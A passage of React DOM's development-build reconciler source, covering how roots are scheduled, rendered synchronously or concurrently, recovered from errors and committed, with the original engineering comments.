        // `deferRenderPhaseUpdateToNextBatch` flag is off and this is a render
        // phase update. In that case, we don't treat render phase updates as if
        // they were interleaved, for backwards compat reasons.
        if ( (executionContext & RenderContext) === NoContext) {
          workInProgressRootInterleavedUpdatedLanes = mergeLanes(workInProgressRootInterleavedUpdatedLanes, lane);
        }

        if (workInProgressRootExitStatus === RootSuspendedWithDelay) {
          // The root already suspended with a delay, which means this render
          // definitely won't finish. Since we have a new update, let's mark it as
          // suspended now, right before marking the incoming update. This has the
          // effect of interrupting the current render and switching to the update.
          // TODO: Make sure this doesn't override pings that happen while we've
          // already started rendering.
          markRootSuspended$1(root, workInProgressRootRenderLanes);
        }
      }

      ensureRootIsScheduled(root, eventTime);

      if (lane === SyncLane && executionContext === NoContext && (fiber.mode & ConcurrentMode) === NoMode && // Treat `act` as if it's inside `batchedUpdates`, even in legacy mode.
      !( ReactCurrentActQueue$1.isBatchingLegacy)) {
        // Flush the synchronous work now, unless we're already working or inside
        // a batch. This is intentionally inside scheduleUpdateOnFiber instead of
        // scheduleCallbackForFiber to preserve the ability to schedule a callback
        // without immediately flushing it. We only do this for user-initiated
        // updates, to preserve historical behavior of legacy mode.
        resetRenderTimer();
        flushSyncCallbacksOnlyInLegacyMode();
      }
    }
  }
  function scheduleInitialHydrationOnRoot(root, lane, eventTime) {
    // This is a special fork of scheduleUpdateOnFiber that is only used to
    // schedule the initial hydration of a root that has just been created. Most
    // of the stuff in scheduleUpdateOnFiber can be skipped.
    //
    // The main reason for this separate path, though, is to distinguish the
    // initial children from subsequent updates. In fully client-rendered roots
    // (createRoot instead of hydrateRoot), all top-level renders are modeled as
    // updates, but hydration roots are special because the initial render must
    // match what was rendered on the server.
    var current = root.current;
    current.lanes = lane;
    markRootUpdated(root, lane, eventTime);
    ensureRootIsScheduled(root, eventTime);
  }
  function isUnsafeClassRenderPhaseUpdate(fiber) {
    // Check if this is a render phase update. Only called by class components,
    // which special (deprecated) behavior for UNSAFE_componentWillReceive props.
    return (// TODO: Remove outdated deferRenderPhaseUpdateToNextBatch experiment. We
      // decided not to enable it.
       (executionContext & RenderContext) !== NoContext
    );
  } // Use this function to schedule a task for a root. There's only one task per
  // root; if a task was already scheduled, we'll check to make sure the priority
  // of the existing task is the same as the priority of the next level that the
  // root has work on. This function is called on every update, and right before
  // exiting a task.

  function ensureRootIsScheduled(root, currentTime) {
    var existingCallbackNode = root.callbackNode; // Check if any lanes are being starved by other work. If so, mark them as
    // expired so we know to work on those next.

    markStarvedLanesAsExpired(root, currentTime); // Determine the next lanes to work on, and their priority.

    var nextLanes = getNextLanes(root, root === workInProgressRoot ? workInProgressRootRenderLanes : NoLanes);

    if (nextLanes === NoLanes) {
      // Special case: There's nothing to work on.
      if (existingCallbackNode !== null) {
        cancelCallback$1(existingCallbackNode);
      }

      root.callbackNode = null;
      root.callbackPriority = NoLane;
      return;
    } // We use the highest priority lane to represent the priority of the callback.


    var newCallbackPriority = getHighestPriorityLane(nextLanes); // Check if there's an existing task. We may be able to reuse it.

    var existingCallbackPriority = root.callbackPriority;

    if (existingCallbackPriority === newCallbackPriority && // Special case related to `act`. If the currently scheduled task is a
    // Scheduler task, rather than an `act` task, cancel it and re-scheduled
    // on the `act` queue.
    !( ReactCurrentActQueue$1.current !== null && existingCallbackNode !== fakeActCallbackNode)) {
      {
        // If we're going to re-use an existing task, it needs to exist.
        // Assume that discrete update microtasks are non-cancellable and null.
        // TODO: Temporary until we confirm this warning is not fired.
        if (existingCallbackNode == null && existingCallbackPriority !== SyncLane) {
          error('Expected scheduled callback to exist. This error is likely caused by a bug in React. Please file an issue.');
        }
      } // The priority hasn't changed. We can reuse the existing task. Exit.


      return;
    }

    if (existingCallbackNode != null) {
      // Cancel the existing callback. We'll schedule a new one below.
      cancelCallback$1(existingCallbackNode);
    } // Schedule a new callback.


    var newCallbackNode;

    if (newCallbackPriority === SyncLane) {
      // Special case: Sync React callbacks are scheduled on a special
      // internal queue
      if (root.tag === LegacyRoot) {
        if ( ReactCurrentActQueue$1.isBatchingLegacy !== null) {
          ReactCurrentActQueue$1.didScheduleLegacyUpdate = true;
        }

        scheduleLegacySyncCallback(performSyncWorkOnRoot.bind(null, root));
      } else {
        scheduleSyncCallback(performSyncWorkOnRoot.bind(null, root));
      }

      {
        // Flush the queue in a microtask.
        if ( ReactCurrentActQueue$1.current !== null) {
          // Inside `act`, use our internal `act` queue so that these get flushed
          // at the end of the current scope even when using the sync version
          // of `act`.
          ReactCurrentActQueue$1.current.push(flushSyncCallbacks);
        } else {
          scheduleMicrotask(function () {
            // In Safari, appending an iframe forces microtasks to run.
            // https://github.com/facebook/react/issues/22459
            // We don't support running callbacks in the middle of render
            // or commit so we need to check against that.
            if ((executionContext & (RenderContext | CommitContext)) === NoContext) {
              // Note that this would still prematurely flush the callbacks
              // if this happens outside render or commit phase (e.g. in an event).
              flushSyncCallbacks();
            }
          });
        }
      }

      newCallbackNode = null;
    } else {
      var schedulerPriorityLevel;

      switch (lanesToEventPriority(nextLanes)) {
        case DiscreteEventPriority:
          schedulerPriorityLevel = ImmediatePriority;
          break;

        case ContinuousEventPriority:
          schedulerPriorityLevel = UserBlockingPriority;
          break;

        case DefaultEventPriority:
          schedulerPriorityLevel = NormalPriority;
          break;

        case IdleEventPriority:
          schedulerPriorityLevel = IdlePriority;
          break;

        default:
          schedulerPriorityLevel = NormalPriority;
          break;
      }

      newCallbackNode = scheduleCallback$1(schedulerPriorityLevel, performConcurrentWorkOnRoot.bind(null, root));
    }

    root.callbackPriority = newCallbackPriority;
    root.callbackNode = newCallbackNode;
  } // This is the entry point for every concurrent task, i.e. anything that
  // goes through Scheduler.


  function performConcurrentWorkOnRoot(root, didTimeout) {
    {
      resetNestedUpdateFlag();
    } // Since we know we're in a React event, we can clear the current
    // event time. The next update will compute a new event time.


    currentEventTime = NoTimestamp;
    currentEventTransitionLane = NoLanes;

    if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
      throw new Error('Should not already be working.');
    } // Flush any pending passive effects before deciding which lanes to work on,
    // in case they schedule additional work.


    var originalCallbackNode = root.callbackNode;
    var didFlushPassiveEffects = flushPassiveEffects();

    if (didFlushPassiveEffects) {
      // Something in the passive effect phase may have canceled the current task.
      // Check if the task node for this root was changed.
      if (root.callbackNode !== originalCallbackNode) {
        // The current task was canceled. Exit. We don't need to call
        // `ensureRootIsScheduled` because the check above implies either that
        // there's a new task, or that there's no remaining work on this root.
        return null;
      }
    } // Determine the next lanes to work on, using the fields stored
    // on the root.


    var lanes = getNextLanes(root, root === workInProgressRoot ? workInProgressRootRenderLanes : NoLanes);

    if (lanes === NoLanes) {
      // Defensive coding. This is never expected to happen.
      return null;
    } // We disable time-slicing in some cases: if the work has been CPU-bound
    // for too long ("expired" work, to prevent starvation), or we're in
    // sync-updates-by-default mode.
    // TODO: We only check `didTimeout` defensively, to account for a Scheduler
    // bug we're still investigating. Once the bug in Scheduler is fixed,
    // we can remove this, since we track expiration ourselves.


    var shouldTimeSlice = !includesBlockingLane(root, lanes) && !includesExpiredLane(root, lanes) && ( !didTimeout);
    var exitStatus = shouldTimeSlice ? renderRootConcurrent(root, lanes) : renderRootSync(root, lanes);

    if (exitStatus !== RootInProgress) {
      if (exitStatus === RootErrored) {
        // If something threw an error, try rendering one more time. We'll
        // render synchronously to block concurrent data mutations, and we'll
        // includes all pending updates are included. If it still fails after
        // the second attempt, we'll give up and commit the resulting tree.
        var errorRetryLanes = getLanesToRetrySynchronouslyOnError(root);

        if (errorRetryLanes !== NoLanes) {
          lanes = errorRetryLanes;
          exitStatus = recoverFromConcurrentError(root, errorRetryLanes);
        }
      }

      if (exitStatus === RootFatalErrored) {
        var fatalError = workInProgressRootFatalError;
        prepareFreshStack(root, NoLanes);
        markRootSuspended$1(root, lanes);
        ensureRootIsScheduled(root, now());
        throw fatalError;
      }

      if (exitStatus === RootDidNotComplete) {
        // The render unwound without completing the tree. This happens in special
        // cases where need to exit the current render without producing a
        // consistent tree or committing.
        //
        // This should only happen during a concurrent render, not a discrete or
        // synchronous update. We should have already checked for this when we
        // unwound the stack.
        markRootSuspended$1(root, lanes);
      } else {
        // The render completed.
        // Check if this render may have yielded to a concurrent event, and if so,
        // confirm that any newly rendered stores are consistent.
        // TODO: It's possible that even a concurrent render may never have yielded
        // to the main thread, if it was fast enough, or if it expired. We could
        // skip the consistency check in that case, too.
        var renderWasConcurrent = !includesBlockingLane(root, lanes);
        var finishedWork = root.current.alternate;

        if (renderWasConcurrent && !isRenderConsistentWithExternalStores(finishedWork)) {
          // A store was mutated in an interleaved event. Render again,
          // synchronously, to block further mutations.
          exitStatus = renderRootSync(root, lanes); // We need to check again if something threw

          if (exitStatus === RootErrored) {
            var _errorRetryLanes = getLanesToRetrySynchronouslyOnError(root);

            if (_errorRetryLanes !== NoLanes) {
              lanes = _errorRetryLanes;
              exitStatus = recoverFromConcurrentError(root, _errorRetryLanes); // We assume the tree is now consistent because we didn't yield to any
              // concurrent events.
            }
          }

          if (exitStatus === RootFatalErrored) {
            var _fatalError = workInProgressRootFatalError;
            prepareFreshStack(root, NoLanes);
            markRootSuspended$1(root, lanes);
            ensureRootIsScheduled(root, now());
            throw _fatalError;
          }
        } // We now have a consistent tree. The next step is either to commit it,
        // or, if something suspended, wait to commit it after a timeout.


        root.finishedWork = finishedWork;
        root.finishedLanes = lanes;
        finishConcurrentRender(root, exitStatus, lanes);
      }
    }

    ensureRootIsScheduled(root, now());

    if (root.callbackNode === originalCallbackNode) {
      // The task node scheduled for this root is the same one that's
      // currently executed. Need to return a continuation.
      return performConcurrentWorkOnRoot.bind(null, root);
    }

    return null;
  }

  function recoverFromConcurrentError(root, errorRetryLanes) {
    // If an error occurred during hydration, discard server response and fall
    // back to client side render.
    // Before rendering again, save the errors from the previous attempt.
    var errorsFromFirstAttempt = workInProgressRootConcurrentErrors;

    if (isRootDehydrated(root)) {
      // The shell failed to hydrate. Set a flag to force a client rendering
      // during the next attempt. To do this, we call prepareFreshStack now
      // to create the root work-in-progress fiber. This is a bit weird in terms
      // of factoring, because it relies on renderRootSync not calling
      // prepareFreshStack again in the call below, which happens because the
      // root and lanes haven't changed.
      //
      // TODO: I think what we should do is set ForceClientRender inside
      // throwException, like we do for nested Suspense boundaries. The reason
      // it's here instead is so we can switch to the synchronous work loop, too.
      // Something to consider for a future refactor.
      var rootWorkInProgress = prepareFreshStack(root, errorRetryLanes);
      rootWorkInProgress.flags |= ForceClientRender;

      {
        errorHydratingContainer(root.containerInfo);
      }
    }

    var exitStatus = renderRootSync(root, errorRetryLanes);

    if (exitStatus !== RootErrored) {
      // Successfully finished rendering on retry
      // The errors from the failed first attempt have been recovered. Add
      // them to the collection of recoverable errors. We'll log them in the
      // commit phase.
      var errorsFromSecondAttempt = workInProgressRootRecoverableErrors;
      workInProgressRootRecoverableErrors = errorsFromFirstAttempt; // The errors from the second attempt should be queued after the errors
      // from the first attempt, to preserve the causal sequence.

      if (errorsFromSecondAttempt !== null) {
        queueRecoverableErrors(errorsFromSecondAttempt);
      }
    }

    return exitStatus;
  }

  function queueRecoverableErrors(errors) {
    if (workInProgressRootRecoverableErrors === null) {
      workInProgressRootRecoverableErrors = errors;
    } else {
      workInProgressRootRecoverableErrors.push.apply(workInProgressRootRecoverableErrors, errors);
    }
  }

  function finishConcurrentRender(root, exitStatus, lanes) {
    switch (exitStatus) {
      case RootInProgress:
      case RootFatalErrored:
        {
          throw new Error('Root did not complete. This is a bug in React.');
        }
      // Flow knows about invariant, so it complains if I add a break
      // statement, but eslint doesn't know about invariant, so it complains
      // if I do. eslint-disable-next-line no-fallthrough

      case RootErrored:
        {
          // We should have already attempted to retry this tree. If we reached
          // this point, it errored again. Commit it.
          commitRoot(root, workInProgressRootRecoverableErrors, workInProgressTransitions);
          break;
        }

      case RootSuspended:
        {
          markRootSuspended$1(root, lanes); // We have an acceptable loading state. We need to figure out if we
          // should immediately commit it or wait a bit.

          if (includesOnlyRetries(lanes) && // do not delay if we're inside an act() scope
          !shouldForceFlushFallbacksInDEV()) {
            // This render only included retries, no updates. Throttle committing
            // retries so that we don't show too many loading states too quickly.
            var msUntilTimeout = globalMostRecentFallbackTime + FALLBACK_THROTTLE_MS - now(); // Don't bother with a very short suspense time.

            if (msUntilTimeout > 10) {
              var nextLanes = getNextLanes(root, NoLanes);

              if (nextLanes !== NoLanes) {
                // There's additional work on this root.
                break;
              }

              var suspendedLanes = root.suspendedLanes;

              if (!isSubsetOfLanes(suspendedLanes, lanes)) {
                // We should prefer to render the fallback of at the last
                // suspended level. Ping the last suspended level to try
                // rendering it again.
                // FIXME: What if the suspended lanes are Idle? Should not restart.
                var eventTime = requestEventTime();
                markRootPinged(root, suspendedLanes);
                break;
              } // The render is suspended, it hasn't timed out, and there's no
              // lower priority work to do. Instead of committing the fallback
              // immediately, wait for more data to arrive.


              root.timeoutHandle = scheduleTimeout(commitRoot.bind(null, root, workInProgressRootRecoverableErrors, workInProgressTransitions), msUntilTimeout);
              break;
            }
          } // The work expired. Commit immediately.


          commitRoot(root, workInProgressRootRecoverableErrors, workInProgressTransitions);
          break;
        }

      case RootSuspendedWithDelay:
        {
          markRootSuspended$1(root, lanes);

          if (includesOnlyTransitions(lanes)) {
            // This is a transition, so we should exit without committing a
            // placeholder and without scheduling a timeout. Delay indefinitely
            // until we receive more data.
            break;
          }

          if (!shouldForceFlushFallbacksInDEV()) {
            // This is not a transition, but we did trigger an avoided state.
            // Schedule a placeholder to display after a short delay, using the Just
            // Noticeable Difference.
            // TODO: Is the JND optimization worth the added complexity? If this is
            // the only reason we track the event time, then probably not.
            // Consider removing.
            var mostRecentEventTime = getMostRecentEventTime(root, lanes);
            var eventTimeMs = mostRecentEventTime;
            var timeElapsedMs = now() - eventTimeMs;

            var _msUntilTimeout = jnd(timeElapsedMs) - timeElapsedMs; // Don't bother with a very short suspense time.


            if (_msUntilTimeout > 10) {
              // Instead of committing the fallback immediately, wait for more data
              // to arrive.
              root.timeoutHandle = scheduleTimeout(commitRoot.bind(null, root, workInProgressRootRecoverableErrors, workInProgressTransitions), _msUntilTimeout);
              break;
            }
          } // Commit the placeholder.


          commitRoot(root, workInProgressRootRecoverableErrors, workInProgressTransitions);
          break;
        }

      case RootCompleted:
        {
          // The work completed. Ready to commit.
          commitRoot(root, workInProgressRootRecoverableErrors, workInProgressTransitions);
          break;
        }

      default:
        {
          throw new Error('Unknown root exit status.');
        }
    }
  }

  function isRenderConsistentWithExternalStores(finishedWork) {
    // Search the rendered tree for external store reads, and check whether the
    // stores were mutated in a concurrent event. Intentionally using an iterative
    // loop instead of recursion so we can exit early.
    var node = finishedWork;

    while (true) {
      if (node.flags & StoreConsistency) {
        var updateQueue = node.updateQueue;

        if (updateQueue !== null) {
          var checks = updateQueue.stores;

          if (checks !== null) {
            for (var i = 0; i < checks.length; i++) {
              var check = checks[i];
              var getSnapshot = check.getSnapshot;
              var renderedValue = check.value;

              try {
                if (!objectIs(getSnapshot(), renderedValue)) {
                  // Found an inconsistent store.
                  return false;
                }
              } catch (error) {
                // If `getSnapshot` throws, return `false`. This will schedule
                // a re-render, and the error will be rethrown during render.
                return false;
              }
            }
          }
        }
      }

      var child = node.child;

      if (node.subtreeFlags & StoreConsistency && child !== null) {
        child.return = node;
        node = child;
        continue;
      }

      if (node === finishedWork) {
        return true;
      }

      while (node.sibling === null) {
        if (node.return === null || node.return === finishedWork) {
          return true;
        }

        node = node.return;
      }

      node.sibling.return = node.return;
      node = node.sibling;
    } // Flow doesn't know this is unreachable, but eslint does
    // eslint-disable-next-line no-unreachable


    return true;
  }

  function markRootSuspended$1(root, suspendedLanes) {
    // When suspending, we should always exclude lanes that were pinged or (more
    // rarely, since we try to avoid it) updated during the render phase.
    // TODO: Lol maybe there's a better way to factor this besides this
    // obnoxiously named function :)
    suspendedLanes = removeLanes(suspendedLanes, workInProgressRootPingedLanes);
    suspendedLanes = removeLanes(suspendedLanes, workInProgressRootInterleavedUpdatedLanes);
    markRootSuspended(root, suspendedLanes);
  } // This is the entry point for synchronous tasks that don't go
  // through Scheduler


  function performSyncWorkOnRoot(root) {
    {
      syncNestedUpdateFlag();
    }

    if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
      throw new Error('Should not already be working.');
    }

    flushPassiveEffects();
    var lanes = getNextLanes(root, NoLanes);

    if (!includesSomeLane(lanes, SyncLane)) {
      // There's no remaining sync work left.
      ensureRootIsScheduled(root, now());
      return null;
    }

    var exitStatus = renderRootSync(root, lanes);

    if (root.tag !== LegacyRoot && exitStatus === RootErrored) {
      // If something threw an error, try rendering one more time. We'll render
      // synchronously to block concurrent data mutations, and we'll includes
      // all pending updates are included. If it still fails after the second
      // attempt, we'll give up and commit the resulting tree.
      var errorRetryLanes = getLanesToRetrySynchronouslyOnError(root);

      if (errorRetryLanes !== NoLanes) {
        lanes = errorRetryLanes;
        exitStatus = recoverFromConcurrentError(root, errorRetryLanes);
      }
    }

    if (exitStatus === RootFatalErrored) {
      var fatalError = workInProgressRootFatalError;
      prepareFreshStack(root, NoLanes);
      markRootSuspended$1(root, lanes);
      ensureRootIsScheduled(root, now());
      throw fatalError;
    }

    if (exitStatus === RootDidNotComplete) {
      throw new Error('Root did not complete. This is a bug in React.');
    } // We now have a consistent tree. Because this is a sync render, we
    // will commit it even if something suspended.


    var finishedWork = root.current.alternate;
    root.finishedWork = finishedWork;
    root.finishedLanes = lanes;
    commitRoot(root, workInProgressRootRecoverableErrors, workInProgressTransitions); // Before exiting, make sure there's a callback scheduled for the next
    // pending level.

    ensureRootIsScheduled(root, now());
    return null;
  }

  function flushRoot(root, lanes) {
    if (lanes !== NoLanes) {
      markRootEntangled(root, mergeLanes(lanes, SyncLane));
      ensureRootIsScheduled(root, now());

      if ((executionContext & (RenderContext | CommitContext)) === NoContext) {
        resetRenderTimer();
        flushSyncCallbacks();
      }
    }
  }
  function batchedUpdates$1(fn, a) {
    var prevExecutionContext = executionContext;
    executionContext |= BatchedContext;

    try {
      return fn(a);
    } finally {
      executionContext = prevExecutionContext; // If there were legacy sync updates, flush them at the end of the outer
      // most batchedUpdates-like method.

      if (executionContext === NoContext && // Treat `act` as if it's inside `batchedUpdates`, even in legacy mode.
      !( ReactCurrentActQueue$1.isBatchingLegacy)) {
        resetRenderTimer();
        flushSyncCallbacksOnlyInLegacyMode();
      }
    }
  }
  function discreteUpdates(fn, a, b, c, d) {
    var previousPriority = getCurrentUpdatePriority();
    var prevTransition = ReactCurrentBatchConfig$3.transition;

    try {
      ReactCurrentBatchConfig$3.transition = null;
      setCurrentUpdatePriority(DiscreteEventPriority);
      return fn(a, b, c, d);
    } finally {
      setCurrentUpdatePriority(previousPriority);
      ReactCurrentBatchConfig$3.transition = prevTransition;

      if (executionContext === NoContext) {
        resetRenderTimer();
      }
    }
  } // Overload the definition to the two valid signatures.
  // Warning, this opts-out of checking the function body.

  // eslint-disable-next-line no-redeclare
  function flushSync(fn) {
    // In legacy mode, we flush pending passive effects at the beginning of the
    // next event, not at the end of the previous one.
    if (rootWithPendingPassiveEffects !== null && rootWithPendingPassiveEffects.tag === LegacyRoot && (executionContext & (RenderContext | CommitContext)) === NoContext) {
      flushPassiveEffects();
    }

    var prevExecutionContext = executionContext;
    executionContext |= BatchedContext;
    var prevTransition = ReactCurrentBatchConfig$3.transition;
    var previousPriority = getCurrentUpdatePriority();

    try {
      ReactCurrentBatchConfig$3.transition = null;
      setCurrentUpdatePriority(DiscreteEventPriority);

      if (fn) {
        return fn();
      } else {
        return undefined;
      }
    } finally {
      setCurrentUpdatePriority(previousPriority);
      ReactCurrentBatchConfig$3.transition = prevTransition;
      executionContext = prevExecutionContext; // Flush the immediate callbacks that were scheduled during this batch.
      // Note that this will happen even if batchedUpdates is higher up
      // the stack.

      if ((executionContext & (RenderContext | CommitContext)) === NoContext) {
        flushSyncCallbacks();
      }
    }
  }
  function isAlreadyRendering() {
    // Used by the renderer to print a warning if certain APIs are called from
    // the wrong context.
    return  (executionContext & (RenderContext | CommitContext)) !== NoContext;
  }
  function pushRenderLanes(fiber, lanes) {
    push(subtreeRenderLanesCursor, subtreeRenderLanes, fiber);
    subtreeRenderLanes = mergeLanes(subtreeRenderLanes, lanes);
    workInProgressRootIncludedLanes = mergeLanes(workInProgressRootIncludedLanes, lanes);
  }
  function popRenderLanes(fiber) {
    subtreeRenderLanes = subtreeRenderLanesCursor.current;
    pop(subtreeRenderLanesCursor, fiber);
  }

  function prepareFreshStack(root, lanes) {
    root.finishedWork = null;
    root.finishedLanes = NoLanes;
    var timeoutHandle = root.timeoutHandle;

    if (timeoutHandle !== noTimeout) {
      // The root previous suspended and scheduled a timeout to commit a fallback
      // state. Now that we have additional work, cancel the timeout.
      root.timeoutHandle = noTimeout; // $FlowFixMe Complains noTimeout is not a TimeoutID, despite the check above

      cancelTimeout(timeoutHandle);
    }

    if (workInProgress !== null) {
      var interruptedWork = workInProgress.return;

      while (interruptedWork !== null) {
        var current = interruptedWork.alternate;
        unwindInterruptedWork(current, interruptedWork);
        interruptedWork = interruptedWork.return;
      }
    }

    workInProgressRoot = root;
    var rootWorkInProgress = createWorkInProgress(root.current, null);
    workInProgress = rootWorkInProgress;
    workInProgressRootRenderLanes = subtreeRenderLanes = workInProgressRootIncludedLanes = lanes;
    workInProgressRootExitStatus = RootInProgress;
    workInProgressRootFatalError = null;
    workInProgressRootSkippedLanes = NoLanes;
    workInProgressRootInterleavedUpdatedLanes = NoLanes;
    workInProgressRootPingedLanes = NoLanes;
    workInProgressRootConcurrentErrors = null;
    workInProgressRootRecoverableErrors = null;
    finishQueueingConcurrentUpdates();

    {
      ReactStrictModeWarnings.discardPendingWarnings();
    }

    return rootWorkInProgress;
  }

  function handleError(root, thrownValue) {
    do {
      var erroredWork = workInProgress;

      try {
        // Reset module-level state that was set during the render phase.
        resetContextDependencies();
        resetHooksAfterThrow();
        resetCurrentFiber(); // TODO: I found and added this missing line while investigating a
        // separate issue. Write a regression test using string refs.

        ReactCurrentOwner$2.current = null;

        if (erroredWork === null || erroredWork.return === null) {
          // Expected to be working on a non-root fiber. This is a fatal error
          // because there's no ancestor that can handle it; the root is
          // supposed to capture all errors that weren't caught by an error
          // boundary.
          workInProgressRootExitStatus = RootFatalErrored;
          workInProgressRootFatalError = thrownValue; // Set `workInProgress` to null. This represents advancing to the next
          // sibling, or the parent if there are no siblings. But since the root
          // has no siblings nor a parent, we set it to null. Usually this is
          // handled by `completeUnitOfWork` or `unwindWork`, but since we're
          // intentionally not calling those, we need set it here.
          // TODO: Consider calling `unwindWork` to pop the contexts.

          workInProgress = null;
          return;
        }

        if (enableProfilerTimer && erroredWork.mode & ProfileMode) {
          // Record the time spent rendering before an error was thrown. This
          // avoids inaccurate Profiler durations in the case of a
          // suspended render.
          stopProfilerTimerIfRunningAndRecordDelta(erroredWork, true);
        }

        if (enableSchedulingProfiler) {
          markComponentRenderStopped();

          if (thrownValue !== null && typeof thrownValue === 'object' && typeof thrownValue.then === 'function') {
            var wakeable = thrownValue;
            markComponentSuspended(erroredWork, wakeable, workInProgressRootRenderLanes);
          } else {
            markComponentErrored(erroredWork, thrownValue, workInProgressRootRenderLanes);
          }
        }

        throwException(root, erroredWork.return, erroredWork, thrownValue, workInProgressRootRenderLanes);
        completeUnitOfWork(erroredWork);
      } catch (yetAnotherThrownValue) {
        // Something in the return path also threw.
        thrownValue = yetAnotherThrownValue;

        if (workInProgress === erroredWork && erroredWork !== null) {
          // If this boundary has already errored, then we had trouble processing
          // the error. Bubble it to the next boundary.
          erroredWork = erroredWork.return;
          workInProgress = erroredWork;
        } else {
          erroredWork = workInProgress;
        }

        continue;
      } // Return to the normal work loop.


      return;
    } while (true);
  }

  function pushDispatcher() {
    var prevDispatcher = ReactCurrentDispatcher$2.current;
    ReactCurrentDispatcher$2.current = ContextOnlyDispatcher;

    if (prevDispatcher === null) {
      // The React isomorphic package does not include a default dispatcher.
      // Instead the first renderer will lazily attach one, in order to give
      // nicer error messages.
      return ContextOnlyDispatcher;
    } else {
      return prevDispatcher;
    }
  }

  function popDispatcher(prevDispatcher) {
    ReactCurrentDispatcher$2.current = prevDispatcher;
  }

  function markCommitTimeOfFallback() {
    globalMostRecentFallbackTime = now();
  }
  function markSkippedUpdateLanes(lane) {
    workInProgressRootSkippedLanes = mergeLanes(lane, workInProgressRootSkippedLanes);
  }
  function renderDidSuspend() {
    if (workInProgressRootExitStatus === RootInProgress) {
      workInProgressRootExitStatus = RootSuspended;
    }
  }
  function renderDidSuspendDelayIfPossible() {
    if (workInProgressRootExitStatus === RootInProgress || workInProgressRootExitStatus === RootSuspended || workInProgressRootExitStatus === RootErrored) {
      workInProgressRootExitStatus = RootSuspendedWithDelay;
    } // Check if there are updates that we skipped tree that might have unblocked
    // this render.


    if (workInProgressRoot !== null && (includesNonIdleWork(workInProgressRootSkippedLanes) || includesNonIdleWork(workInProgressRootInterleavedUpdatedLanes))) {
      // Mark the current render as suspended so that we switch to working on
      // the updates that were skipped. Usually we only suspend at the end of
      // the render phase.
      // TODO: We should probably always mark the root as suspended immediately
      // (inside this function), since by suspending at the end of the render
      // phase introduces a potential mistake where we suspend lanes that were
      // pinged or updated while we were rendering.
      markRootSuspended$1(workInProgressRoot, workInProgressRootRenderLanes);
    }
  }
  function renderDidError(error) {
    if (workInProgressRootExitStatus !== RootSuspendedWithDelay) {
      workInProgressRootExitStatus = RootErrored;
    }

    if (workInProgressRootConcurrentErrors === null) {
      workInProgressRootConcurrentErrors = [error];
    } else {
      workInProgressRootConcurrentErrors.push(error);
    }
  } // Called during render to determine if anything has suspended.
  // Returns false if we're not sure.

  function renderHasNotSuspendedYet() {
    // If something errored or completed, we can't really be sure,
    // so those are false.
    return workInProgressRootExitStatus === RootInProgress;
  }

  function renderRootSync(root, lanes) {
    var prevExecutionContext = executionContext;
    executionContext |= RenderContext;
    var prevDispatcher = pushDispatcher(); // If the root or lanes have changed, throw out the existing stack
    // and prepare a fresh one. Otherwise we'll continue where we left off.

    if (workInProgressRoot !== root || workInProgressRootRenderLanes !== lanes) {
      {
        if (isDevToolsPresent) {
          var memoizedUpdaters = root.memoizedUpdaters;

          if (memoizedUpdaters.size > 0) {
            restorePendingUpdaters(root, workInProgressRootRenderLanes);
            memoizedUpdaters.clear();
          } // At this point, move Fibers that scheduled the upcoming work from the Map to the Set.
          // If we bailout on this work, we'll move them back (like above).
          // It's important to move them now in case the work spawns more work at the same priority with different updaters.
          // That way we can keep the current update and future updates separate.


          movePendingFibersToMemoized(root, lanes);
        }
      }

      workInProgressTransitions = getTransitionsForLanes();
      prepareFreshStack(root, lanes);
    }

    {
      markRenderStarted(lanes);
    }

    do {
      try {
        workLoopSync();
        break;
      } catch (thrownValue) {
        handleError(root, thrownValue);
      }
    } while (true);

    resetContextDependencies();
    executionContext = prevExecutionContext;
    popDispatcher(prevDispatcher);

    if (workInProgress !== null) {
      // This is a sync render, so we should have finished the whole tree.
      throw new Error('Cannot commit an incomplete root. This error is likely caused by a ' + 'bug in React. Please file an issue.');
    }

    {
      markRenderStopped();
    } // Set this to null to indicate there's no in-progress render.


    workInProgressRoot = null;
    workInProgressRootRenderLanes = NoLanes;
    return workInProgressRootExitStatus;
  } // The work loop is an extremely hot path. Tell Closure not to inline it.

  /** @noinline */


  function workLoopSync() {
    // Already timed out, so perform work without checking if we need to yield.
    while (workInProgress !== null) {
      performUnitOfWork(workInProgress);
    }
  }

  function renderRootConcurrent(root, lanes) {
    var prevExecutionContext = executionContext;
    executionContext |= RenderContext;
    var prevDispatcher = pushDispatcher(); // If the root or lanes have changed, throw out the existing stack
    // and prepare a fresh one. Otherwise we'll continue where we left off.

    if (workInProgressRoot !== root || workInProgressRootRenderLanes !== lanes) {
      {
        if (isDevToolsPresent) {
          var memoizedUpdaters = root.memoizedUpdaters;

          if (memoizedUpdaters.size > 0) {
            restorePendingUpdaters(root, workInProgressRootRenderLanes);
            memoizedUpdaters.clear();
          } // At this point, move Fibers that scheduled the upcoming work from the Map to the Set.
          // If we bailout on this work, we'll move them back (like above).
          // It's important to move them now in case the work spawns more work at the same priority with different updaters.
          // That way we can keep the current update and future updates separate.


          movePendingFibersToMemoized(root, lanes);
        }
      }

      workInProgressTransitions = getTransitionsForLanes();
      resetRenderTimer();
      prepareFreshStack(root, lanes);
    }

    {
      markRenderStarted(lanes);
    }

    do {
      try {
        workLoopConcurrent();
        break;
      } catch (thrownValue) {
        handleError(root, thrownValue);
      }
    } while (true);

    resetContextDependencies();
    popDispatcher(prevDispatcher);
    executionContext = prevExecutionContext;


    if (workInProgress !== null) {
      // Still work remaining.
      {
        markRenderYielded();
      }

      return RootInProgress;
    } else {
      // Completed the tree.
      {
        markRenderStopped();
      } // Set this to null to indicate there's no in-progress render.


      workInProgressRoot = null;
      workInProgressRootRenderLanes = NoLanes; // Return the final exit status.

      return workInProgressRootExitStatus;
    }
  }
  /** @noinline */


  function workLoopConcurrent() {
    // Perform work until Scheduler asks us to yield
    while (workInProgress !== null && !shouldYield()) {
      performUnitOfWork(workInProgress);
    }
  }

  function performUnitOfWork(unitOfWork) {
    // The current, flushed, state of this fiber is the alternate. Ideally
    // nothing should rely on this, but relying on it here means that we don't
    // need an additional field on the work in progress.
    var current = unitOfWork.alternate;
    setCurrentFiber(unitOfWork);
    var next;

    if ( (unitOfWork.mode & ProfileMode) !== NoMode) {
      startProfilerTimer(unitOfWork);
      next = beginWork$1(current, unitOfWork, subtreeRenderLanes);
      stopProfilerTimerIfRunningAndRecordDelta(unitOfWork, true);
    } else {
      next = beginWork$1(current, unitOfWork, subtreeRenderLanes);
    }

    resetCurrentFiber();
    unitOfWork.memoizedProps = unitOfWork.pendingProps;

    if (next === null) {
